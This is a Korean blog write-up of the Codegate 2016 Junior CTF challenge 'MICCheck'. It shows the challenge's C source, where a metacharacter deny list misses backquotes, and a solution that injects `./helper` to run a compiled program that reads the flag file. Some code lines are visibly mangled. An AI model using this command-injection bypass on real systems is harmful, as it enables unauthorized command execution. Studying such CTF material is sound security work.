반응형

코드게이트 2016 주니어 MICCheck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
 
int main( int argc, char *argv[], char **environ )
{
    char buf[12= { 0, };
    char cmd[2048= { 0, };
    unsigned int i = 0;    
 
    char **e;
    size_t len;
 
    printf"input path :" );
    fgets( buf, 10, stdin );
 
    for( i = 0; i <= 11; i++ ) {
        if( buf[i] == '\'' ) exit(0);
        if( buf[i] == '&' ) exit(0);
        if( buf[i] == ';' ) exit(0);
        if( buf[i] == '|' ) exit(0);
        if( buf[i] == '\"' ) exit(0);
        if( buf[i] == ' ' ) exit(0);
    }
 
    
    sprintf( cmd, "/bin/ls -al /dev/%s", buf );
 
    for( e = environ; *e; ++e ) {
        len = strlen( *e );
        memset( *e, 0x00, len );
    }
 
    setregid( 10031003 );
    system( cmd );
 
    return 0;
}
cs

위는 MICCheck.c 이다
입력받은 값을 /bin/ls -al /dev/ 뒤에 붙이는데
`(Back quote)가 사용 가능 하다는 것을 이용해서

1
2
3
4
5
#include<stdio.h>
int main(void)
{
    system("cat /home/mic/mic.flag.txt");
}
cs

로 파일을 만들고 컴파일해서

`./(파일이름)` 로 넣어주면 에러로 키가 출력된다.

'CTF' 카테고리의 다른 글

CodeGate 2016 Junior BugBug  (0) 2016.03.20
CodeGate 2016 Junior JS_is_not_a_jail  (0) 2016.03.19
DIMICON Write Up  (0) 2015.11.13
2015 정보보호올림피아드 본선 Q2  (0) 2015.10.18
2015 YISF 순천향대 본선 및 예선 WriteUp  (2) 2015.09.07

+ Recent posts